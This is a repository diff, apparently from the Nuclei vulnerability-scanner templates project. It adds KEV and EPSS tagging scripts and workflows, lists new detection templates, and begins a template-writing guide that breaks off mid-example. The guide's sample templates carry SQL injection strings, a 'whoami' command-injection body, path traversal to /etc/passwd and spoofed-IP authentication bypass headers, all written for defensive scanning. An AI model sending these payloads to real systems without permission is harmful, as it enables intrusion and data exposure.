|
||||
def add_kev_tag(self, content: str) -> tuple[str, bool]:
|
||||
"""Add kev tag to the tags field. Returns (updated_content, was_updated)."""
|
||||
if self.has_kev_tag(content):
|
||||
return content, False
|
||||
|
||||
# Find the tags field
|
||||
tags_match = re.search(r'(\s*tags:\s*)([^\n]+)', content)
|
||||
if tags_match:
|
||||
indent = tags_match.group(1)
|
||||
existing_tags = tags_match.group(2).rstrip()
|
||||
|
||||
# Add kev tag at the end
|
||||
new_tags = existing_tags + ',kev'
|
||||
new_line = f"{indent}{new_tags}"
|
||||
|
||||
updated_content = content.replace(tags_match.group(0), new_line)
|
||||
return updated_content, True
|
||||
else:
|
||||
print("Warning: No tags field found to add kev tag")
|
||||
return content, False
|
||||
|
||||
def remove_kev_tag(self, content: str) -> tuple[str, bool]:
|
||||
"""Remove kev tag from the tags field. Returns (updated_content, was_updated)."""
|
||||
if not self.has_kev_tag(content):
|
||||
return content, False
|
||||
|
||||
# Find and update tags field
|
||||
tags_match = re.search(r'(\s*tags:\s*)([^\n]+)', content)
|
||||
if tags_match:
|
||||
indent = tags_match.group(1)
|
||||
existing_tags = tags_match.group(2)
|
||||
|
||||
# Remove kev tag in various positions
|
||||
new_tags = existing_tags
|
||||
# Remove ,kev or kev, patterns
|
||||
new_tags = re.sub(r',\s*kev\b', '', new_tags)
|
||||
new_tags = re.sub(r'\bkev\s*,', '', new_tags)
|
||||
new_tags = re.sub(r'^\s*kev\s*$', '', new_tags) # kev is only tag
|
||||
new_tags = re.sub(r'^\s*kev\s*,\s*', '', new_tags) # kev is first tag
|
||||
|
||||
if new_tags != existing_tags:
|
||||
new_line = f"{indent}{new_tags}"
|
||||
updated_content = content.replace(tags_match.group(0), new_line)
|
||||
return updated_content, True
|
||||
|
||||
return content, False
|
||||
|
||||
def update_template_with_kev(self, file_path: Path, cve_id: str, is_kev: bool) -> bool:
|
||||
"""Update a template file with KEV tags."""
|
||||
try:
|
||||
with open(file_path, 'r', encoding='utf-8') as f:
|
||||
content = f.read()
|
||||
|
||||
original_content = content
|
||||
updated = False
|
||||
|
||||
if is_kev:
|
||||
# Add kev tag if missing
|
||||
content, tag_added = self.add_kev_tag(content)
|
||||
if tag_added:
|
||||
print(f"Added kev tag to {file_path.name}")
|
||||
updated = True
|
||||
else:
|
||||
# Remove kev tag if present but CVE is not in KEV catalog
|
||||
if self.has_kev_tag(content):
|
||||
# Only remove if we're confident about our KEV data
|
||||
if len(self.cisa_kev_cves) > 1000: # Sanity check
|
||||
content, tag_removed = self.remove_kev_tag(content)
|
||||
if tag_removed:
|
||||
print(f"Removed kev tag from {file_path.name} (no longer in KEV catalog)")
|
||||
updated = True
|
||||
else:
|
||||
print(f"Warning: {cve_id} has kev tag but not in current KEV catalog (keeping tag)")
|
||||
|
||||
# Write updated content if changes were made
|
||||
if updated:
|
||||
with open(file_path, 'w', encoding='utf-8') as f:
|
||||
f.write(content)
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
except Exception as e:
|
||||
print(f"Error updating {file_path}: {e}")
|
||||
self.error_count += 1
|
||||
return False
|
||||
|
||||
def run(self):
|
||||
"""Main execution function."""
|
||||
print("Starting KEV tagging update...")
|
||||
|
||||
# Fetch KEV data
|
||||
self.cisa_kev_cves = self.fetch_cisa_kev_data()
|
||||
|
||||
if not self.cisa_kev_cves:
|
||||
print("No CISA KEV data available, exiting")
|
||||
return
|
||||
|
||||
# Find all CVE templates
|
||||
template_files = self.find_cve_templates()
|
||||
print(f"Found {len(template_files)} CVE template files")
|
||||
|
||||
if not template_files:
|
||||
print("No CVE templates found!")
|
||||
return
|
||||
|
||||
# Process templates
|
||||
kev_found = 0
|
||||
non_kev_with_tag = 0
|
||||
|
||||
for file_path in template_files:
|
||||
cve_id = self.extract_cve_id(file_path)
|
||||
if cve_id:
|
||||
is_kev = cve_id in self.cisa_kev_cves
|
||||
|
||||
if is_kev:
|
||||
kev_found += 1
|
||||
|
||||
if self.update_template_with_kev(file_path, cve_id, is_kev):
|
||||
self.updated_count += 1
|
||||
|
||||
# Track non-KEV CVEs that have kev tags for reporting
|
||||
if not is_kev and self.has_kev_tag(open(file_path, 'r').read()):
|
||||
non_kev_with_tag += 1
|
||||
else:
|
||||
print(f"Could not extract CVE ID from {file_path}")
|
||||
|
||||
print(f"\nKEV update complete!")
|
||||
print(f"Templates updated: {self.updated_count}")
|
||||
print(f"KEV CVEs found in templates: {kev_found}")
|
||||
print(f"CISA KEV catalog size: {len(self.cisa_kev_cves)}")
|
||||
print(f"Non-KEV templates with kev tags: {non_kev_with_tag}")
|
||||
print(f"Errors: {self.error_count}")
|
||||
|
||||
def main():
|
||||
"""Main entry point."""
|
||||
if len(sys.argv) > 1:
|
||||
root_dir = sys.argv[1]
|
||||
else:
|
||||
root_dir = os.getcwd()
|
||||
|
||||
updater = KEVUpdater(root_dir)
|
||||
updater.run()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -15,7 +15,7 @@ jobs:
|
||||
permissions: write-all
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4 # checkout the repository content
|
||||
- uses: actions/checkout@v5 # checkout the repository content
|
||||
- uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: '3.10' # install the python version needed
|
||||
|
||||
@@ -13,7 +13,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v5
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
with:
|
||||
go-version: 'stable'
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
name: 📊 EPSS Score Update
|
||||
|
||||
on:
|
||||
schedule:
|
||||
# Run daily at 2:00 AM UTC
|
||||
- cron: '0 2 * * *'
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
update-epss:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v5
|
||||
|
||||
- name: Setup Python
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: '3.11'
|
||||
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
pip install requests pyyaml
|
||||
|
||||
- name: Update EPSS scores
|
||||
run: python .github/scripts/update-epss.py
|
||||
|
||||
- name: Check for changes
|
||||
id: changes
|
||||
run: |
|
||||
if git diff --quiet; then
|
||||
echo "changes=false" >> $GITHUB_OUTPUT
|
||||
else
|
||||
echo "changes=true" >> $GITHUB_OUTPUT
|
||||
fi
|
||||
|
||||
- name: Setup Git
|
||||
if: steps.changes.outputs.changes == 'true'
|
||||
uses: projectdiscovery/actions/setup/git@v1
|
||||
|
||||
- name: Commit changes
|
||||
if: steps.changes.outputs.changes == 'true'
|
||||
uses: projectdiscovery/actions/commit@v1
|
||||
with:
|
||||
files: '**/cves/**/*.yaml'
|
||||
message: 'chore: update EPSS scores 🤖'
|
||||
|
||||
- name: Push changes
|
||||
if: steps.changes.outputs.changes == 'true'
|
||||
run: |
|
||||
git pull origin $GITHUB_REF --rebase
|
||||
git push origin $GITHUB_REF
|
||||
@@ -0,0 +1,56 @@
|
||||
name: 📋 KEV Tag Update
|
||||
|
||||
on:
|
||||
schedule:
|
||||
# Run daily at 3:00 AM UTC (1 hour after EPSS update)
|
||||
- cron: '0 3 * * *'
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
update-kev:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v5
|
||||
|
||||
- name: Setup Python
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: '3.11'
|
||||
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
pip install requests pyyaml
|
||||
|
||||
- name: Update KEV tags
|
||||
run: python .github/scripts/update-kev.py
|
||||
env:
|
||||
# Optional: Add VulnCheck API key if available
|
||||
VULNCHECK_API_KEY: ${{ secrets.VULNCHECK_API_KEY }}
|
||||
|
||||
- name: Check for changes
|
||||
id: changes
|
||||
run: |
|
||||
if git diff --quiet; then
|
||||
echo "changes=false" >> $GITHUB_OUTPUT
|
||||
else
|
||||
echo "changes=true" >> $GITHUB_OUTPUT
|
||||
fi
|
||||
|
||||
- name: Setup Git
|
||||
if: steps.changes.outputs.changes == 'true'
|
||||
uses: projectdiscovery/actions/setup/git@v1
|
||||
|
||||
- name: Commit changes
|
||||
if: steps.changes.outputs.changes == 'true'
|
||||
uses: projectdiscovery/actions/commit@v1
|
||||
with:
|
||||
files: '**/cves/**/*.yaml'
|
||||
message: 'chore: update KEV tags and metadata 🤖'
|
||||
|
||||
- name: Push changes
|
||||
if: steps.changes.outputs.changes == 'true'
|
||||
run: |
|
||||
git pull origin $GITHUB_REF --rebase
|
||||
git push origin $GITHUB_REF
|
||||
@@ -18,7 +18,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v5
|
||||
with:
|
||||
fetch-depth: 0
|
||||
- name: Generate new addition list
|
||||
|
||||
@@ -13,7 +13,7 @@ jobs:
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- run: sudo apt-get install tree -y
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v5
|
||||
- uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: "3.8"
|
||||
|
||||
@@ -16,7 +16,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v5
|
||||
- uses: projectdiscovery/actions/generate/checksum@v1
|
||||
with:
|
||||
templates-directory: '${{ github.workspace }}'
|
||||
|
||||
@@ -14,7 +14,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v5
|
||||
- uses: projectdiscovery/actions/setup/nuclei@v1
|
||||
with:
|
||||
token: '${{ secrets.GITHUB_TOKEN}}'
|
||||
@@ -38,7 +38,7 @@ jobs:
|
||||
runs-on: windows-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v5
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v5
|
||||
|
||||
@@ -8,7 +8,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v5
|
||||
- uses: projectdiscovery/actions/setup/templateman@v1
|
||||
with:
|
||||
token: '${{ secrets.PDTEAMX_CLASSIC_PAT }}'
|
||||
|
||||
@@ -11,7 +11,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v5
|
||||
with:
|
||||
fetch-depth: 0
|
||||
- uses: projectdiscovery/actions/templates/stats@v1
|
||||
|
||||
@@ -11,7 +11,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v5
|
||||
- uses: karancode/[email protected]
|
||||
with:
|
||||
yamllint_config_filepath: .yamllint
|
||||
@@ -23,7 +23,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v5
|
||||
- uses: projectdiscovery/actions/setup/nuclei@v1
|
||||
with:
|
||||
token: '${{ secrets.GITHUB_TOKEN }}'
|
||||
@@ -40,7 +40,7 @@ jobs:
|
||||
env:
|
||||
HONEYPOT_URL: 'http://honey.scanme.sh'
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v5
|
||||
- uses: dorny/paths-filter@v3
|
||||
id: filter
|
||||
with:
|
||||
|
||||
@@ -10,7 +10,7 @@ jobs:
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- name: Check out repository code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
|
||||
- name: Install Python3
|
||||
uses: actions/setup-python@v5
|
||||
|
||||
@@ -1,15 +1,114 @@
|
||||
code/cves/2025/CVE-2025-22457.yaml
|
||||
code/cves/2025/CVE-2025-54309.yaml
|
||||
code/linux/audit/autofs-service.yaml
|
||||
code/linux/audit/avahi-daemon.yaml
|
||||
code/linux/audit/dhcp-server.yaml
|
||||
code/linux/audit/dns-server.yaml
|
||||
code/linux/audit/dns-zone-transfer-any.yaml
|
||||
code/linux/audit/dnsmasq-service.yaml
|
||||
code/linux/audit/etc-services-permission-check.yaml
|
||||
code/linux/audit/finger-service-enabled.yaml
|
||||
code/linux/audit/ftp-client.yaml
|
||||
code/linux/audit/ftp-server.yaml
|
||||
code/linux/audit/home-env-permission.yaml
|
||||
code/linux/audit/inactive-password-lock-default.yaml
|
||||
code/linux/audit/ldap-client.yaml
|
||||
code/linux/audit/ldap-server.yaml
|
||||
code/linux/audit/linux-account-lockout-threshold.yaml
|
||||
code/linux/audit/linux-anonymous-ftp-enabled.yaml
|
||||
code/linux/audit/linux-automountd-enabled.yaml
|
||||
code/linux/audit/linux-cron-permissions-check.yaml
|
||||
code/linux/audit/linux-legacy-services-enabled.yaml
|
||||
code/linux/audit/linux-nis-service.yaml
|
||||
code/linux/audit/linux-nisplus-service.yaml
|
||||
code/linux/audit/linux-rexec-service.yaml
|
||||
code/linux/audit/linux-rhosts-hostsequiv-misconfig.yaml
|
||||
code/linux/audit/linux-rlogin-service.yaml
|
||||
code/linux/audit/linux-root-remote-login.yaml
|
||||
code/linux/audit/linux-rsh-service.yaml
|
||||
code/linux/audit/linux-world-writable-file.yaml
|
||||
code/linux/audit/message-access-server.yaml
|
||||
code/linux/audit/nfs-daemon-service.yaml
|
||||
code/linux/audit/nfs-insecure-exports.yaml
|
||||
code/linux/audit/nis-client.yaml
|
||||
code/linux/audit/password-expiration.yaml
|
||||
code/linux/audit/password-min-days.yaml
|
||||
code/linux/audit/password-warn-age.yaml
|
||||
code/linux/audit/root-path-dot.yaml
|
||||
code/linux/audit/rpc-enabled.yaml
|
||||
code/linux/audit/rsh-client.yaml
|
||||
code/linux/audit/rw-hosts-file.yaml
|
||||
code/linux/audit/sendmail-postfix-execution-restrictions.yaml
|
||||
code/linux/audit/smtp-open-relay.yaml
|
||||
code/linux/audit/strong-password-hashing.yaml
|
||||
code/linux/audit/suid-sgid.yaml
|
||||
code/linux/audit/syslog-rsyslog-permission.yaml
|
||||
code/linux/audit/talk-client.yaml
|
||||
code/linux/audit/tcpwrapper-access.yaml
|
||||
code/linux/audit/telnet-client.yaml
|
||||
code/linux/audit/tftp-service-enabled.yaml
|
||||
code/linux/audit/weak-password-complexity.yaml
|
||||
code/linux/audit/writable-xinetdconf.yaml
|
||||
file/keys/openrouter-key.yaml
|
||||
http/cves/2018/CVE-2018-19127.yaml
|
||||
http/cves/2018/CVE-2018-7841.yaml
|
||||
http/cves/2020/CVE-2020-11975.yaml
|
||||
http/cves/2020/CVE-2020-36708.yaml
|
||||
http/cves/2023/CVE-2023-1893.yaml
|
||||
http/cves/2023/CVE-2023-27163.yaml
|
||||
http/cves/2023/CVE-2023-37988.yaml
|
||||
http/cves/2025/CVE-2025-1562.yaml
|
||||
http/cves/2025/CVE-2025-25231.yaml
|
||||
http/cves/2025/CVE-2025-27888.yaml
|
||||
http/cves/2025/CVE-2025-28906.yaml
|
||||
http/cves/2025/CVE-2025-29925.yaml
|
||||
http/cves/2025/CVE-2025-32430.yaml
|
||||
http/cves/2025/CVE-2025-32969.yaml
|
||||
http/cves/2025/CVE-2025-32970.yaml
|
||||
http/cves/2025/CVE-2025-34035.yaml
|
||||
http/cves/2025/CVE-2025-34073.yaml
|
||||
http/cves/2025/CVE-2025-34152.yaml
|
||||
http/cves/2025/CVE-2025-4632.yaml
|
||||
http/cves/2025/CVE-2025-46554.yaml
|
||||
http/cves/2025/CVE-2025-51501.yaml
|
||||
http/cves/2025/CVE-2025-51502.yaml
|
||||
http/cves/2025/CVE-2025-53364.yaml
|
||||
http/cves/2025/CVE-2025-54125.yaml
|
||||
http/cves/2025/CVE-2025-54589.yaml
|
||||
http/cves/2025/CVE-2025-55169.yaml
|
||||
http/cves/2025/CVE-2025-57788.yaml
|
||||
http/cves/2025/CVE-2025-57789.yaml
|
||||
http/cves/2025/CVE-2025-6934.yaml
|
||||
http/default-logins/atlona/atlona-default-login.yaml
|
||||
http/default-logins/openplc/openplc-default-login.yaml
|
||||
http/default-logins/pensando/pensando-default-login.yaml
|
||||
http/exposed-panels/adobe/aem-forms-panel.yaml
|
||||
http/exposed-panels/espec-web-controller-panel.yaml
|
||||
http/exposed-panels/huawei-holosense-panel.yaml
|
||||
http/exposed-panels/hyperdx-panel.yaml
|
||||
http/exposed-panels/magicinfo-panel.yaml
|
||||
http/exposed-panels/zammad-helpdesk-panel.yaml
|
||||
http/exposed-panels/zipline-panel.yaml
|
||||
http/exposures/configs/bugzilla-config.yaml
|
||||
http/exposures/configs/magicinfo-config-exposure.yaml
|
||||
http/exposures/files/python-venv-exposure.yaml
|
||||
http/miscellaneous/atproto-did-exposure.yaml
|
||||
http/miscellaneous/mta-sts-exposure.yaml
|
||||
http/miscellaneous/nostr-json-exposure.yaml
|
||||
http/miscellaneous/oauth-authorization-server-exposure.yaml
|
||||
http/miscellaneous/pki-validation-exposure.yaml
|
||||
http/misconfiguration/installer/microweber-install.yaml
|
||||
http/misconfiguration/mapproxy-file-read.yaml
|
||||
http/misconfiguration/microsoft/anonymous-distribution-point-sccm.yaml
|
||||
http/misconfiguration/portal-api-ssrf.yaml
|
||||
http/technologies/bugzilla-detect.yaml
|
||||
http/technologies/meshery-detect.yaml
|
||||
http/technologies/nvidia-triton-detect.yaml
|
||||
http/technologies/roadiz-cms-detect.yaml
|
||||
javascript/cves/2018/CVE-2018-0171.yaml
|
||||
javascript/detection/ajp-protocol-detect.yaml
|
||||
javascript/detection/echo-detect.yaml
|
||||
network/cves/2025/CVE-2025-25256.yaml
|
||||
network/detection/afp-server-detect.yaml
|
||||
network/detection/nfs-v3-exposed.yaml
|
||||
network/exposures/checkmk-info-disclosure.yaml
|
||||
@@ -0,0 +1,524 @@
|
||||
# Nuclei Template Creation Guide
|
||||
**Complete Guide for Writing High-Quality Security Templates**
|
||||
|
||||
---
|
||||
|
||||
## Getting Started
|
||||
|
||||
### **What is a Nuclei Template?**
|
||||
Nuclei templates are the cornerstone of the Nuclei scanning engine, designed to enable precise and rapid scanning across various protocols like TCP, DNS, HTTP, and more. Templates are YAML-based definitions that describe how to detect security vulnerabilities, misconfigurations, and exposures while ensuring low-to-zero false positives.
|
||||
|
||||
> **📖 Official Documentation**: For comprehensive technical details, visit [ProjectDiscovery Template Docs](https://docs.projectdiscovery.io/templates/introduction)
|
||||
|
||||
### **Template Structure Overview**
|
||||
```yaml
|
||||
id: template-identifier
|
||||
info:
|
||||
name: Human Readable Vulnerability Name
|
||||
author: your-github-username,vulnerability-discoverer-handle
|
||||
severity: critical|high|medium|low|info
|
||||
description: Clear explanation of what this template detects
|
||||
reference:
|
||||
- https://link-to-vulnerability-details
|
||||
classification:
|
||||
cve-id: CVE-2024-1234
|
||||
cwe-id: CWE-89
|
||||
tags: cve,sqli,rce
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: 'http.title:"VulnApp"'
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/vulnerable-endpoint"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "vulnerability_indicator"
|
||||
part: body
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Step-by-Step Template Creation
|
||||
|
||||
### **Step 1: Research and Understand the Vulnerability**
|
||||
Before writing any code:
|
||||
- [ ] Read the original vulnerability disclosure/advisory
|
||||
- [ ] Understand the root cause and exploitation method
|
||||
- [ ] Identify unique indicators that prove vulnerability exists
|
||||
- [ ] Test the vulnerability in a controlled environment
|
||||
- [ ] Document the vulnerable versions and affected components
|
||||
|
||||
### **Step 2: Choose Your Template ID and Info**
|
||||
```yaml
|
||||
# Use descriptive, short identifiers
|
||||
id: apache-struts-ognl-injection # GOOD - clear and specific
|
||||
id: vuln-app-rce # BAD - too generic
|
||||
|
||||
info:
|
||||
name: Apache Struts OGNL Code Injection # Format: "Vendor Product - Vulnerability Type"
|
||||
author: your-github-username,original-researcher-handle # Always credit the discoverer
|
||||
severity: critical # Based on CVSS score and real-world impact
|
||||
```
|
||||
|
||||
### **Step 3: Write Accurate Description and References**
|
||||
```yaml
|
||||
info:
|
||||
description: |
|
||||
Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from
|
||||
OGNL injection vulnerability that allows remote code execution.
|
||||
reference:
|
||||
- https://cwiki.apache.org/confluence/display/WW/S2-057
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2018-11776
|
||||
- https://seclists.org/fulldisclosure/2018/Aug/31
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 8.1
|
||||
cve-id: CVE-2018-11776
|
||||
cwe-id: CWE-94
|
||||
```
|
||||
|
||||
### **Step 4: Add Proper Tags and Metadata**
|
||||
```yaml
|
||||
info:
|
||||
tags: cve,cve2018,rce,apache,struts,ognl # Be specific and comprehensive
|
||||
metadata:
|
||||
verified: true # Only if you've tested it yourself
|
||||
max-request: 1 # Auto-calculated, don't set manually
|
||||
shodan-query: 'http.component:"Apache Struts"'
|
||||
fofa-query: 'body="struts" && title="Apache"'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Writing Effective HTTP Requests
|
||||
|
||||
### **Basic HTTP Template Structure**
|
||||
```yaml
|
||||
http:
|
||||
- method: GET|POST|PUT|DELETE
|
||||
path:
|
||||
- "{{BaseURL}}/endpoint" # Dynamic BaseURL variable
|
||||
- "{{Hostname}}/another-path" # Alternative dynamic variable
|
||||
|
||||
headers:
|
||||
User-Agent: Custom-Agent-String
|
||||
Content-Type: application/json
|
||||
Origin: https://example.com
|
||||
|
||||
body: |
|
||||
{"param": "{{payload}}"}
|
||||
|
||||
disable-cookie: false # Cookies reused by default (optional)
|
||||
|
||||
matchers-condition: and # Require ALL matchers to pass
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "success_indicator"
|
||||
part: body
|
||||
```
|
||||
|
||||
> **📖 Reference**: [HTTP Template Syntax](https://docs.projectdiscovery.io/templates/protocols/http) for complete protocol details
|
||||
|
||||
### **Using Variables for Flexibility**
|
||||
```yaml
|
||||
variables:
|
||||
username: "admin"
|
||||
payload: "{{rand_base(8)}}"
|
||||
|
||||
http:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/login"
|
||||
body: |
|
||||
username={{username}}&password={{payload}}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Matcher Best Practices
|
||||
|
||||
### **🚫 Avoid Weak Matchers**
|
||||
```yaml
|
||||
# BAD - Too generic, will match many innocent systems
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "error"
|
||||
- "admin"
|
||||
- "login"
|
||||
part: body
|
||||
```
|
||||
|
||||
### **✅ Use Strong, Specific Matchers**
|
||||
```yaml
|
||||
# GOOD - Specific to the vulnerability
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "VulnApp Management Console v2.1.0" # Specific application version
|
||||
- "Build 2024.03.15" # Specific build
|
||||
part: body
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "OGNL_INJECTION_SUCCESS_{{randstr}}" # Proof of exploitation
|
||||
- "java.lang.ProcessBuilder" # Technical indicator
|
||||
part: body
|
||||
condition: or # Any of these proves exploitation
|
||||
```
|
||||
|
||||
### **Multi-Layer Verification Strategy**
|
||||
```yaml
|
||||
# Layer 1: Identify the application
|
||||
# Layer 2: Confirm vulnerable version
|
||||
# Layer 3: Prove vulnerability exists
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word # Layer 1: App identification
|
||||
words:
|
||||
- "Apache Struts Framework"
|
||||
- "struts-tags"
|
||||
part: body
|
||||
|
||||
- type: regex # Layer 2: Version detection
|
||||
regex:
|
||||
- 'Struts 2\.[0-4]\.[0-9]+' # Vulnerable version range
|
||||
part: body
|
||||
|
||||
- type: word # Layer 3: Exploitation proof
|
||||
words:
|
||||
- "ognl.OgnlException"
|
||||
- "java.lang.SecurityException"
|
||||
part: body
|
||||
condition: or
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Testing Your Template
|
||||
|
||||
### **Before Submitting - Test Thoroughly**
|
||||
```bash
|
||||
# Test against known vulnerable instance
|
||||
nuclei -t your-template.yaml -target http://vulnerable-app.local -debug
|
||||
|
||||
# Test against patched/non-vulnerable systems
|
||||
nuclei -t your-template.yaml -target http://patched-app.local -debug
|
||||
|
||||
# Test against similar but different applications
|
||||
nuclei -t your-template.yaml -target http://different-but-similar-app.local -debug
|
||||
```
|
||||
|
||||
### **Validation Checklist**
|
||||
- [ ] Template detects the vulnerability on vulnerable systems
|
||||
- [ ] Template does NOT trigger false positives on:
|
||||
- [ ] Patched versions of the same application
|
||||
- [ ] Similar applications from the same vendor
|
||||
- [ ] Generic web frameworks or CMSs
|
||||
- [ ] Default server error pages
|
||||
- [ ] Matchers are specific enough to avoid honeypots
|
||||
- [ ] References are valid and accessible
|
||||
- [ ] YAML syntax is correct (`nuclei -validate -t template.yaml`)
|
||||
|
||||
---
|
||||
|
||||
## Common Vulnerability Types - Template Patterns
|
||||
|
||||
### **SQL Injection Detection**
|
||||
```yaml
|
||||
http:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/search"
|
||||
body: "q={{payload}}"
|
||||
|
||||
payloads:
|
||||
payload:
|
||||
- "1' OR '1'='1"
|
||||
- "1' UNION SELECT version()--"
|
||||
- "1' AND (SELECT SUBSTRING(@@version,1,1))='5'--"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "mysql_fetch_array(): supplied argument"
|
||||
- "You have an error in your SQL syntax"
|
||||
- "Microsoft OLE DB Provider for ODBC"
|
||||
part: body
|
||||
```
|
||||
|
||||
### **Remote Code Execution (RCE)**
|
||||
```yaml
|
||||
variables:
|
||||
cmd: "whoami"
|
||||
marker: "{{rand_base(8)}}"
|
||||
|
||||
http:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/execute"
|
||||
body: |
|
||||
command={{cmd}} && echo {{marker}}
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "{{marker}}"
|
||||
part: body
|
||||
- type: regex
|
||||
regex:
|
||||
- 'root|administrator|www-data'
|
||||
part: body
|
||||
```
|
||||
|
||||
### **Local File Inclusion (LFI)**
|
||||
```yaml
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/view?file=../../../etc/passwd"
|
||||
- "{{BaseURL}}/view?file=..\\..\\..\\windows\\win.ini"
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- 'root:.*?:[0-9]*:[0-9]*:' # Linux /etc/passwd
|
||||
- '\[fonts\]' # Windows win.ini
|
||||
part: body
|
||||
```
|
||||
|
||||
### **Authentication Bypass**
|
||||
```yaml
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/admin"
|
||||
headers:
|
||||
X-Originating-IP: 127.0.0.1
|
||||
X-Forwarded-For: 127.0.0.1
|
||||
X-Real-IP: 127.0.0.1
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Admin Dashboard"
|
||||
- "Administrative Panel"
|
||||
part: body
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Advanced Template Features
|
||||
|
||||
### **Using Extractors for Data Collection**
|
||||
```yaml
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/info"
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: version
|
||||
regex:
|
||||
- 'Version: ([0-9\.]+)'
|
||||
group: 1
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Application Info"
|
||||
part: body
|
||||
```
|
||||
|
||||
### **Conditional Logic with DSL**
|
||||
```yaml
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'status_code == 200'
|
||||
- 'contains(body, "vulnerable_pattern")'
|
||||
- 'len(body) > 1000'
|
||||
condition: and
|
||||
```
|
||||
|
||||
### **Network Templates for Non-HTTP Services**
|
||||
```yaml
|
||||
network:
|
||||
- inputs:
|
||||
- data: "{{hex_decode('474554202f20485454502f312e310d0a0d0a')}}" # GET / HTTP/1.1
|
||||
host:
|
||||
